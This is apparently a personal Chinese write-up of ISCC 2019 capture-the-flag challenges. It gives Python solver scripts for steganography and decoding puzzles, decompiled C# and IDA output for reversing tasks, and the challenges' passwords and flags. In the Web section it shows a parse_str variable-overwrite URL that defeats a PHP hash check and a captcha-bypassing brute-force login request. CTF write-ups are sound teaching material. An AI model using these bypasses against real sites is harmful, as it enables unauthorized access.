ISCC 2019 部分 Writeup

原创

zhy_27 于 2019-05-25 10:12:07 发布

文章目录

ISCC 2019 Writeup

- 一个菜鸡的iscc之旅，还有蜜汁强迫症，好好的工具不用，非要每道题自己写代码，就更艰难了。基本上都是python2写的，但其实除了web的一道题，大部分稍微改改和python3都能通用。
- pwn题是菜鸡中的菜鸡，学了好久还是一道没做出来。。
- 然后脑洞是个坑，提交flag的格式也是个坑。

Misc

1. 隐藏的信息（50）

- 这是一个被混淆的文件，但是我忘记了这个文件的密码。你能够帮助我还原明文吗？
- 八进制转十进制转ASCII码，疑似base64加密，解密得到flag，python代码如下：

```
import base64
with open("message.txt", "r") as f:
    cipher = f.read()
cipher_list = cipher.split(' ')
base_cipher = ''
for each in  cipher_list:
    base_cipher += chr(int(each, 8))
flag = base64.b64decode(base_cipher)
print flag
```

2. 最危险的地方就是最安全的地方（100）

- 打开文件就知道了
- jpg打不开，改一下文件头，得到图片，是个表情包：修复我没用啊。。binwalk分析一下，发现后面有压缩的图片文件，分离之后是49个png二维码和1个jpg二维码，扫码：remake:最危险的地方就是最安全的地方+1~+10086,又是一个坑。hexdump分析一下50.jpg（因为和别的二维码比起来，它看着就很特殊），大片的\x00区域，拉到中间有字符的区域，就看到flag了，提取代码如下：
- 还有一种分析，看题目，直接右键50.jpg，看属性，有段base64编码，解码就是flag:

```
with open('50.jpg', 'rb') as f:
    data = f.read(4500)

flag = data[0x107c:0x1097]
flag = flag.replace('\x00','')
print flag
```

3. 解密成绩单（100）

- 老师为了保密将某门课程的成绩单进行了加密处理，但在查成绩时忘记了自己原来是怎样进行了加密，你能帮同学们顺利查到成绩吗？
- 加密的压缩包，因为没有任何提示，怀疑是伪加密。伪加密可以直接用binwalk提取，果然提取出来了。然后，我也不知道我怎么就把杂项做成逆向了，大概是因为太菜。。
- C#做法（也可以直接IDA看IL指令，也不复杂）。用软件.NET.Reflector将C#反汇编,将Score_List导出，分析函数，定义了一系列浮点数，在btnLogin_Click函数中将浮点数逐个转成整型再转成字符添加到字符串，然后字符串弹框，直接写个脚本就得到flag了。或者根据函数checkUsername() 和 checkPassword()输入用户名admin，密码 lSCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmlleBo4TW5n就弹窗得到了flag。

```
namespace Score_List
{
    using System;
    using System.ComponentModel;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;

    public class score_list : Form
    {
        private int loginAttemptCount = 1;
```

```
        private float r1 = 73f;
        private float r2 = 83f;
        private float r3 = 67f;
        private float r4 = 67f;
        private float r5 = 123f;
        private float r6 = 89f;
        private float r7 = 48f;
        private float r8 = 117f;
        private float r9 = 95f;
        private float r10 = 70f;
        private float r11 = 48f;
        private float r12 = 85f;
        private float r13 = 110f;
        private float r14 = 68f;
        private float r15 = 95f;
        private float r16 = 84f;
        private float r17 = 104f;
        private float r18 = 69f;
        private float r19 = 95f;
        private float r20 = 80f;
        private float r21 = 52f;
        private float r22 = 83f;
        private float r23 = 83f;
        private float r24 = 87f;
        private float r25 = 48f;
        private float r26 = 82f;
        private float r27 = 68f;
        private float r28 = 33f;
        private float r29 = 125f;
        private IContainer components;
        private Button btnLogin;
        private Label lblUsername;
        private TextBox txtUsername;
        private Button btnCancel;
        private GroupBox groupBox1;
        private Label lblPassword;
        private TextBox txtPassword;

        public score_list()
        {
            this.InitializeComponent();
        }

        private void btnCancel_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void btnLogin_Click(object sender, EventArgs e)
        {
            if (this.checkUsername() && this.checkPassword())
            {
                StringBuilder builder = new StringBuilder();
                char ch = Convert.ToChar((int) this.r1);
                builder.Append(ch.ToString());
                ch = Convert.ToChar((int) this.r2);
                builder.Append(ch.ToString());
                ch = Convert.ToChar((int) this.r3);
                builder.Append(ch.ToString());
                ch = Convert.ToChar((int) this.r4);
```

```
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r5);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r6);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r7);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r8);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r9);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r10);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r11);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r12);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r13);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r14);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r15);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r16);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r17);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r18);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r19);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r20);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r21);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r22);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r23);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r24);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r25);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r26);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r27);
            builder.Append(ch.ToString());
            ch = Convert.ToChar((int) this.r28);
            builder.Append(ch.ToString());
            builder.Append(Convert.ToChar((int) this.r29).ToString());
            int num = (int) MessageBox.Show(builder.ToString());
            Application.Exit();
        }
        if (this.loginAttemptCount > 2)
        {
            this.showLoginCountExceeded();
            Application.Exit();
        }
        if (!(this.checkUsername() && this.checkPassword()))
```

```
        {
            this.showError();
            this.loginAttemptCount++;
        }
    }

    private bool checkPassword() =>
        (this.txtPassword.Text == "ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n");

    private bool checkUsername() =>
        (this.txtUsername.Text == "admin");

    protected override void Dispose(bool disposing)
    {
        if (disposing && (this.components > null))
        {
            this.components.Dispose();
        }
        base.Dispose(disposing);
    }

    private void InitializeComponent()
    {
        this.btnLogin = new Button();
        this.lblUsername = new Label();
        this.txtUsername = new TextBox();
        this.btnCancel = new Button();
        this.groupBox1 = new GroupBox();
        this.lblPassword = new Label();
        this.txtPassword = new TextBox();
        this.groupBox1.SuspendLayout();
        base.SuspendLayout();
        this.btnLogin.Location = new Point(190, 120);
        this.btnLogin.Name = "btnLogin";
        this.btnLogin.Size = new Size(0x4b, 0x17);
        this.btnLogin.TabIndex = 0;
        this.btnLogin.Text = "&OK";
        this.btnLogin.UseVisualStyleBackColor = true;
        this.btnLogin.Click += new EventHandler(this.btnLogin_Click);
        this.lblUsername.AutoSize = true;
        this.lblUsername.Location = new Point(6, 0x20);
        this.lblUsername.Name = "lblUsername";
        this.lblUsername.Size = new Size(0x3a, 13);
        this.lblUsername.TabIndex = 1;
        this.lblUsername.Text = "Username:";
        this.lblUsername.TextAlign = ContentAlignment.TopRight;
        this.txtUsername.Location = new Point(70, 0x1d);
        this.txtUsername.Name = "txtUsername";
        this.txtUsername.Size = new Size(0x9a, 20);
        this.txtUsername.TabIndex = 2;
        this.btnCancel.Location = new Point(0x6d, 120);
        this.btnCancel.Name = "btnCancel";
        this.btnCancel.Size = new Size(0x4b, 0x17);
        this.btnCancel.TabIndex = 3;
        this.btnCancel.Text = "&Cancel";
        this.btnCancel.UseVisualStyleBackColor = true;
        this.btnCancel.Click += new EventHandler(this.btnCancel_Click);
        this.groupBox1.Controls.Add(this.lblPassword);
        this.groupBox1.Controls.Add(this.txtPassword);
        this.groupBox1.Controls.Add(this.lblUsername);
```

```
            this.groupBox1.Controls.Add(this.txtUsername);
            this.groupBox1.Location = new Point(12, 12);
            this.groupBox1.Name = "groupBox1";
            this.groupBox1.Size = new Size(0xfd, 0x66);
            this.groupBox1.TabIndex = 4;
            this.groupBox1.TabStop = false;
            this.groupBox1.Text = "Login";
            this.lblPassword.AutoSize = true;
            this.lblPassword.Location = new Point(6, 0x3a);
            this.lblPassword.Name = "lblPassword";
            this.lblPassword.Size = new Size(0x38, 13);
            this.lblPassword.TabIndex = 3;
            this.lblPassword.Text = "Password:";
            this.lblPassword.TextAlign = ContentAlignment.TopRight;
            this.txtPassword.Location = new Point(70, 0x37);
            this.txtPassword.Name = "txtPassword";
            this.txtPassword.PasswordChar = '*';
            this.txtPassword.Size = new Size(0x9a, 20);
            this.txtPassword.TabIndex = 4;
            base.AcceptButton = this.btnLogin;
            base.AutoScaleDimensions = new SizeF(6f, 13f);
            base.AutoScaleMode = AutoScaleMode.Font;
            base.CancelButton = this.btnCancel;
            base.ClientSize = new Size(290, 0x9a);
            base.ControlBox = false;
            base.Controls.Add(this.groupBox1);
            base.Controls.Add(this.btnCancel);
            base.Controls.Add(this.btnLogin);
            base.Name = "score_list";
            base.StartPosition = FormStartPosition.CenterScreen;
            this.Text = "Score_List";
            this.groupBox1.ResumeLayout(false);
            this.groupBox1.PerformLayout();
            base.ResumeLayout(false);
        }

        private void showError()
        {
            int num = (int) MessageBox.Show("Username or Password is incorrect, please try again", "Error!", Mes
sageBoxButtons.OK, MessageBoxIcon.Hand);
        }

        private void showLoginCountExceeded()
        {
            int num = (int) MessageBox.Show("Too many login attempts", "Error!", MessageBoxButtons.OK, MessageBo
xIcon.Hand);
        }
    }
}
```

```
num = [73, 83, 67, 67, 123, 89, 48, 117, 95, 70, 48, 85, 110, 68, 95, 84, 104, 69, 95,80, 52, 83, 83, 87, 48, 82
, 68, 33, 125]
flag = ''
for each in num:
    flag += chr(num)
print flag
```

4. Welcome（100）

- 流浪地球计划中拟采取新的文字加密方式，你能破译这个简单的文件吗？
- 日常脑洞。。。文件是压缩包，解压得到Welcome.txt。将原来的火星文解码为简体字，不简化也行，主要是不知道是什么编码，vscode识别不出来。得到1.txt，然后替换“流浪计划 逃离木星”为0，“户口 长条”为1，然后二进制转字符串就ok了，代码如下：

```
import re
data = '流浪计划 逃离木星户口  长条户口  长条流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条流浪计划 逃离木星流浪计划
逃离木星户口  长条户口  长条流浪计划 逃离木星户口  长条户口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口  长条
户口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口  长条流浪计划 逃离木星户口  长条户口  长条
流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条户口  长条流浪计划 逃离木星户口  长条户口  长条户口  长条户口  长条流浪
计划 逃离木星户口  长条户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪
计划 逃离木星户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星户口  长条户口
 长条流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条流浪计
划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条流浪计划 逃离木星
户口  长条流浪计划 逃离木星户口  长条户口  长条户口  长条户口  长条户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星户口
  长条流浪计划 逃离木星户口  长条户口  长条户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃
离木星户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条流
浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木
星户口  长条户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条户口  长条户口  长条流
浪计划 逃离木星户口  长条流浪计划 逃离木星流浪计划 逃离木星户口  长条户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星户
口  长条流浪计划 逃离木星流浪计划 逃离木星流浪计划 逃离木星户口  长条流浪计划 逃离木星户口  长条流浪计划 逃离木星户口  长条户
口  长条户口  长条户口  长条户口  长条流浪计划 逃离木星户口  长条'
binnum = data.replace('流浪计划 逃离木星', '0').replace('户口  长条', '1')
flag = ''
num = re.findall(r'.{8}', binnum)
for each in num:
    flag += chr(int(each, 2))

print flag
```

5. 倒立屋（100）

- 房屋为什么会倒立！是重力反转了吗？
- 这道题，哪里不会考哪里。。。用StegSolve打开，用Data Extract分析，勾选RGB的0通道，preview就看到开头的IsCc_2019，然后倒过来就是flag。尝试着写了个脚本，但自己的脚本果然不如工具好用。

```
import re
from PIL import Image

img_name = unicode('倒立屋.png', "utf8")
img = Image.open(img_name)
pix = img.load()
flag = ''
rgbs = ''
for y in range(24):
    r, g, b = pix[y,0]
    rgbs += str(r & 1) + str(g & 1) + str(b & 1)
newl = re.findall(r'.{8}', rgbs)
for each in newl:
    flag += chr(int(each, 2))
print flag[::-1]
```

6. 无法运行的exe（150）

可执行文件无法运行，你是否能修复它？

notepad++打开exe，发现是base64编码，解码一下看到png头，写个脚本把文件写出来，然后png打不开，联想到题目，可能是文件头缺损，修改一下脚本。是一个二维码，扫码就得到flag了。

```
import qrcode
from PIL import Image
from pyzbar import pyzbar
from base64 import b64decode

png_head = '\x89PNG\x0D\x0A\x1A\x0A'
with open("runnable.exe", "r") as f:
    data = b64decode(f.read())
data = png_head + data[8:]
with open("runnable.png", 'wb') as f:
    f.write(data)
flag = pyzbar.decode(Image.open("runnable.png"), symbols=[pyzbar.ZBarSymbol.QRCODE])  #二维码识别
print flag[0].data
```

7. High起来！（200）

- 酷爱音乐的你，在听歌的过程中突然收到音乐发烧友发来的一封神秘的邮件，邮件里什么都没有说，只有一个被损坏的图片。这名歌友到底要向你传达什么信息呢？答案或许就隐藏在这个损坏的文件中…
- 文件损坏了，修补一下文件头，得到一张二维码，扫码得到一串汉字，比较典型的当铺密码，建个字典替换一下就ok，得到一串数字，并不是flag。binwalk分析一下，发现后面还有个mp3文件，mp3常见隐写只有两种工具:audacity和Mp3Stego，MP3Stego解码需要密码，联想到我们刚刚得到的数字，试一下果然得到了解密的txt，然后Unicode解密就是flag，注意格式。完整代码如下：

```
# E:\MP3Stego\ 在MP3Stego路径下运行
import os
import zipfile
import HTMLParser
from PIL import Image
from pyzbar import pyzbar

img_old   = 'Misc-02.png'
img_new   = 'qrcode.png'
zip_name  = 'mp3.zip'
png_head  = b'\x89PNG'
zip_head  = b'PK\x03\x04'
cdict = {'口':'0', '由':'1', '中':'2', '大':'5', '井': '8', '羊':'9'}

with open(img_old, 'rb') as f:
    data = f.read()
png_data  = png_head + data[4:]
zip_data = data[data.find(zip_head):]
with open(img_new, 'wb') as f:
    f.write(png_data)
with open(zip_name, 'wb') as f:
    f.write(zip_data)

cipher = pyzbar.decode(Image.open(img_new),  symbols=[pyzbar.ZBarSymbol.QRCODE])[0].data
for key, value in cdict.items():
    cipher = cipher.replace(key, value)
print cipher
# 201902252228

f = zipfile.ZipFile(zip_name, 'r')
f.extractall(path='', members=f.namelist())
mp3_name = f.namelist()[0]
f.close()

cmd = 'decode.exe -X -P ' + cipher + ' ' + mp3_name
os.system(cmd)
with open(mp3_name+'.txt', 'r') as f:
    decode_str = f.read()

h = HTMLParser.HTMLParser()
flag = h.unescape(decode_str)
print flag
```

8. 他们能在一起吗？（200）

- 小明在网上向暗恋已久的女生表白了，对方只给小明发来了一个二维码作为回复，面对小明的求助，你会告诉他这名女生想表达的意思吗？
- 扫码得到一个字符串：UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=，先base64解码，再url解码，得到一个PASS{0K_I_L0V3_Y0u!}，说明有加密的文件，下载二维码，用binwalk提取一下，找到一个压缩包，用这个密码解密，提取出的文本文件就是flag。完整代码如下：

```
import urllib
import zipfile
from PIL import Image
from pyzbar import pyzbar
from base64 import b64decode

base_data = pyzbar.decode(Image.open("Reply.png"), symbols=[pyzbar.ZBarSymbol.QRCODE])
url_data = b64decode(base_data[0].data)
password = urllib.unquote(url_data)
print password
# PASS{0K_I_L0V3_Y0u!}
zip_head = 'PK\x03\x04'
with open("Reply.png", "rb") as f:
    data = f.read()
    idx = data.find(zip_head)
    newfiledata = data[idx:]
with open("Reply_split.zip", "wb") as f:
    f.write(newfiledata)
f = zipfile.ZipFile("Reply_split.zip", "r")
f.extractall(path='', members=f.namelist(), pwd=password[5:-1])
name = f.namelist()[0]
f.close()

with open(name, "r") as f:
    print f.read()
```

9. Keyes' secret（200）

- Trying to figure out Keyes' secret
- 简单研究一下密文，发现有大量连续重复字符串，发现一个很明显的"QWERTY"，怀疑是键盘密码，一段一段去分析，发现像是用键盘绘制字典，分析几个字母，在google上找到映射关系，有些不一定对，自己对照着改一下，构造解密字典，按key值从长到短替换字符串，得到flag，python代码如下：

```
keyboard = {
    'MNBVCDRTGHU': 'r', 'NBVCXSWERF': 'p', 'EFVGYWDCFT': 'w', 'XSWEFTYHN': 'm', 'QAZXCDEWV': 'q',
    'TGBNMJUY': 'o',    'ZAQWDVFR': 'n',   'IUYHNBV': 's',    'TYUIOJM': 't',   'TGBNMJU': 'u',
    'RFVGYHN': 'h',     'GRDXCVB': 'a',    'YHNMKJ': 'b',     'RGNYGC': 'x',    'CVGRED': 'g',
    'QWERTY': ' ',      'WSXCFE': 'd',     'WSXCDE': 'e',     'QAZSCE': 'k',    'TRFVG': 'f',
    'WSXCV': 'l',       'TRFVB': 'c',      'EFVGY': 'v',      'EFVT': 'y',      'WSX': 'i',
    }
with open("keyes.txt", "r") as f:
    cipher = f.read()
plain = cipher
sort_key = sorted(keyboard.keys(), key=len,reverse=True)
for each in sort_key:
    try:
        plain = plain.replace(each, keyboard[each])
    except:
        continue
print(plain.upper())
```

10. Aesop's secret（300）

- Aesop’s chest and key lie within. To find it.
- 是个动图，分解帧，发现除了中间一个大大的ISCC再啥也没有。直接用notepad++打开文件，末尾有一段base64编码的数据。解码，发现有salted开头，说明是AES加密（其实附件名就叫Aesop，我居然傻乎乎找那么久）。
  AES加密解密需要秘钥，动图分解出的最后一帧，可以看到中间是ISCC，解密得到第二个AES密文（此处还可以发现的是AES加密后前面都是U2FsdGVkX，大概是salted？反正是个特征吧），继续用ISCC解密，得到flag。
- 第一段密文：

> U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13lu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==

- 第二段密文：

> U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==

- 网址：AES解密

11. 碎纸机（400）

- “想要我的宝藏吗？如果想要的话，那就到碎纸机中找吧，我全部都放在那里。”
- 图片隐写，随便拿binwalk试试，发现图片后面还有很多zip文件，提取出来，是一堆拼图文件，和一个readme.txt:

> “碎纸机中居然是一堆黑色和白色的碎片，但是这些碎片之中到底会有什么样的宝藏呢？
> 我去问了欧鹏·曦文同学，他说他有办法恢复拼图原貌，但是前提是要我把真正有用的东西给他。”

- 10个puzzle在StegSolver中分析，用File Format Analysis看一下，发现每张图末尾都有1250字节长的额外内容，将十个文件的末尾内容提取出来，1250bytex8=10000bit，猜测其转换为二进制是一个100*100的方阵，直接在notepad++中观察，发现是字符形状。Binwalk提取之后的，python代码提取数据并绘图如下：

```python
import re
from PIL import Image

def hex2bin(data):
    plaindata = [''] * 100
    for line in data:
        bint = bin(int(line, 16))[2:].rjust(10000, '0')
        bindata = re.findall(r'.{100}', bint)
        for i in range(100):
            plaindata[i] += bindata[i]
    return plaindata

def createImg(data):
    size = [len(data[0]), len(data)]
    img = Image.new("RGB", size, "white")
    pix = img.load()
    for x in range(size[1]):
        for y in range(size[0]):
            if data[x][y] == '1':
                pix[y,x] = 0
    # img.show()
    img.save("flag.bmp")

data = []
for i in range(1,11):
    filename = 'puzzle' + str(i) + '.jpg'
    with open(filename, 'rb') as f:
        data.append(f.read()[-1250:].encode('hex'))

newdata = hex2bin(data)
createImg(newdata)
```

Reverse

1. answer to everything（100）

- sha1 得到了一个神秘的二进制文件。寻找文件中的flag，解锁宇宙的秘密。
  注意：将得到的flag变为ISCC{flag}形式提交。
- Google搜answer to everything得到42，linux上运行并输入42，得到输出：

> Cipher from Bill
> Submit without any tags
> #kdudpeh

- 或者IDA32打开，简单分析一下，或者直接strings main.exe，得到字符串挺简单的。
- 然后注意提示，不用提交任何tags，而且转成sha1，也就是最后结果应该是

> ISCC{sha1(kdudpeh)} = ISCC{80ee2a3fe31da904c596d993f7f1de4827c1450a}

2. dig dig dig（200）

- 挖挖挖！你能看清这层层加密的难关，找寻到最终的真相吗？
- Google大法好。ida64打开，找到main函数，发现对输入的字符串进行了三次处理，分别是base64encode，rot13，uuencode，然后与一个字符串进行比较，找到这个字符串，进行逆向解码可得flag。或者直接strings dig_dig_dig也能找到这个字符串：'@1DE!440S9W9,2T%Y07=%<W!Z.3!:1T%S2S-),7-$/3T'，度娘上找个网站进行uu解码，然后python算一下，代码如下：

```
import base64
data = 'FIAQD3gvLKAyAwEspz90ZGAsK3I1sD'.encode('rot13')

missing_padding = 4 - len(data)%4
if missing_padding:
    data += b'=' * missing_padding
print base64.b64decode(data)
```

3. Rev03（200）

- C#的逆向，用.NET Reflector反编译一下，将FIRSTWPFAPP导出，查看源代码。我们只关注Button_Click函数，发现将输入的字符串和构造的字符串作比较，相同，则弹出FLAG窗口。

```
namespace FirstWPFApp
{
    using System;
    using System.CodeDom.Compiler;
    using System.ComponentModel;
    using System.Diagnostics;
    using System.Windows;
    using System.Windows.Controls;
    using System.Windows.Markup;

    public class MainWindow : Window, IComponentConnector
    {
        public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();
        internal TextBox TextBox1;
        internal Button Button1;
        private bool _contentLoaded;

        public MainWindow()
        {
            this.InitializeComponent();
        }

        private void Button_Click(object sender, RoutedEventArgs e)
        {
            char[] chArray1 = new char[] { this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[0x1
9], this.Letters[0x18] };
            string str = new string(chArray1);
            if (this.TextBox1.Text.Equals(str))
            {
                char[] chArray2 = new char[] {
                    this.Letters[5], this.Letters[11], this.Letters[0], this.Letters[6], this.Letters[0x1a], thi
s.Letters[8], this.Letters[0x1c], this.Letters[11], this.Letters[14], this.Letters[0x15], this.Letters[4], this.
Letters[0x1c], this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[0x19],
                    this.Letters[0x18], this.Letters[0x1b]
                };
                MessageBox.Show(new string(chArray2));
            }
        }
```

```
        [DebuggerNonUserCode, GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
        public void InitializeComponent()
        {
            if (!this._contentLoaded)
            {
                this._contentLoaded = true;
                Uri resourceLocator = new Uri("/FirstWPFApp;component/mainwindow.xaml", UriKind.Relative);
                Application.LoadComponent(this, resourceLocator);
            }
        }

        [DebuggerNonUserCode, GeneratedCode("PresentationBuildTasks", "4.0.0.0"), EditorBrowsable(EditorBrowsabl
eState.Never)]
        void IComponentConnector.Connect(int connectionId, object target)
        {
            if (connectionId != 1)
            {
                if (connectionId == 2)
                {
                    this.Button1 = (Button) target;
                    this.Button1.Click += new RoutedEventHandler(this.Button_Click);
                }
                else
                {
                    this._contentLoaded = true;
                }
            }
            else
            {
                this.TextBox1 = (TextBox) target;
            }
        }
    }
}
```

- 由给的Letters和给定的index，我们就可以直接写脚本输出flag了。

```
letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

# idx = [5, 14, 13, 0x19, 0x18]
# password = ''
# for each in idx:
#     password += letters[each]
# print password
# # FONZY

idx = [5, 11, 0, 6, 0x1a, 8, 0x1c, 11, 14, 0x15, 4, 0x1c, 5, 14, 13, 0x19, 0x18, 0x1b]
flag = ''
for each in idx:
    flag += letters[each]
print flag
```

4. 简单Python（200）

- 这个pyc有点东西
- uncompyle6反编译一下，然后代码很简单，写个脚本就解出来了，代码如下：

```
# uncompyle6 version 3.2.6
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: flag.py
# Compiled at: 2019-02-21 14:39:31
import base64

def encode(message):
    s = ''
    for i in message:
        x = ord(i) ^ 32
        x = x + 16
        s += chr(x)

    return base64.b64encode(s)

# decode
def decode(message):
    strs = base64.b64decode(message)
    plain = ''
    for each in strs:
        num = (ord(each) - 16)^32
        flag += chr(num)
    print flag

correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
    print 'correct'
else:
    print 'wrong'

decode(correct)
```

5. Rev04（300）

它坏掉了？
嗯，它被flag污染了

注意一下，文件大小和一些关键语句和Rev01相同，然后被污染了是什么意思。仔细看一下属性，发现大小比Rev01大60字节，把这60字节提取出来，看起来像是base64，解码再做rot13，就得到了flag。

```
import base64
with open("bad", "rb") as f:
    data = f.read()

data = data[0x669E:0x669E+60]
missing_padding = 4 - len(data)%4
if missing_padding:
    data += b'=' * missing_padding
flag = base64.b64decode(data).encode('rot13')
print flag
```

6. Rev02（300）

- google日常，直接hexdump看一看，往下拉一点点就能看到了。写个脚本提取出来，如下：

```
with open("rev2.exe", "rb") as f:
    data = f.read(1100)

flag = ''
for i in range(len(data)-1):
    try:
        if data[i+1] == '}':
            flag += data[i]
    except:
        continue

print flag
```

7. Rev01（300）

- 首先看string，发现an error occuredSubmit this and get you'r points!\n，跳到程序中，找到代码段：

```
if ( !v0 )
    alloc::alloc::handle_alloc_error::h9e3787e5722c870d();
  *(_OWORD *)v0 = xmmword_51000;
  *(_OWORD *)(v0 + 16) = xmmword_51010;
  *(_OWORD *)(v0 + 32) = xmmword_51020;
  *(_OWORD *)(v0 + 48) = xmmword_51030;
  *(_OWORD *)(v0 + 64) = xmmword_51040;
  *(_OWORD *)(v0 + 80) = xmmword_51050;
  *(_OWORD *)(v0 + 96) = xmmword_51060;
  *(_OWORD *)(v0 + 112) = xmmword_51070;
  *(_QWORD *)(v0 + 128) = 618475290964LL;
  v33 = v0;

  while ( 4 * v16 != v21 )
  {
    v22 = *(_DWORD *)(v15 + v21) - 32;
    v21 += 4LL;
    if ( v22 >= 0x5F )
      std::panicking::begin_panic::h770c088eb8f42530(
        "an error occuredSubmit this and get you'r points!\n",              // 输出提示信息
        16LL,
        &off_64F10,
        v21);
  }
  if ( v16 > *((_QWORD *)&v34 + 1) )
    v16 = *((_QWORD *)&v34 + 1);
  if ( !v16 )
  {
    if ( *((_QWORD *)&v34 + 1) )
      goto LABEL_52;
    goto LABEL_51;
  }
  v23 = 0LL;
  v24 = 0LL;
  v25 = 0LL;
  do
  {           // flag处理字符段，对上面给的v0逐字节右移两位后与10异或
    if ( v15 == v23 )
      break;
```

```
    v26 = ((*(_DWORD *)(v33 + 4 * v24) >> 2) ^ 0xA) == *(_DWORD *)(v15 + 4 * v24);
    ++v24;
    v25 += v26;
    v23 -= 4LL;
  }
  while ( v24 < v16 );
  if ( v25 == *((_QWORD *)&v34 + 1) )
  {
LABEL_51:
    v35 = &off_64F00;
    v36 = 1uLL;
    v37 = &unk_510C8;
    v38 = 0LL;
    std::io::stdio::_print::h77f73d11755d3bb8();
  }
LABEL_52:
  if ( v18 )
    _rust_dealloc();
  if ( (_QWORD)v29 )
    _rust_dealloc();
  if ( (_QWORD)v34 )
    _rust_dealloc();
}
```

- 直接在ida窗口中输入以下python代码，即可得到flag.

```
flag = ''
for p in range(0x51000, 0x51080, 4) + range(0x6722, 0x672a, 4):
    flag += chr((Dword(p) >> 2) ^ 0xA)

print flag
```

Web

1. web4（150）

- 题目地址: web4
- 打开页面，得到php源码：

```php
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!==$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}?>
```

- 这个主要是判断哈希值，sha256无法解出，可以直接覆盖变量，key为abcd，并提交hashed_key=sha256(abcd)。构造payload如下：

> http://39.100.83.188:8066/?key=abcd&action=auth&hashed_key=88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589

2. web2（200）

- 题目地址：web2
- 提示了三位数密码，可以暴力破解，但是有验证码，可以通过BurpSuite抓包，删除PHPSESSION和user_code绕过验证码，然后构建三位数字的字典，直接用Intruder爆破就可以得到最后的密码是996.

```
POST /login.php HTTP/1.1
Host: 39.100.83.188:8002
User-Agent: Mozilla/5.0
Referer: http://39.100.83.188:8002/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Connection: close
Cookie: PHPSESSID=
Upgrade-Insecure-Requests: 1

username=admin&pwd=adft&user_code=&Login=submit
```

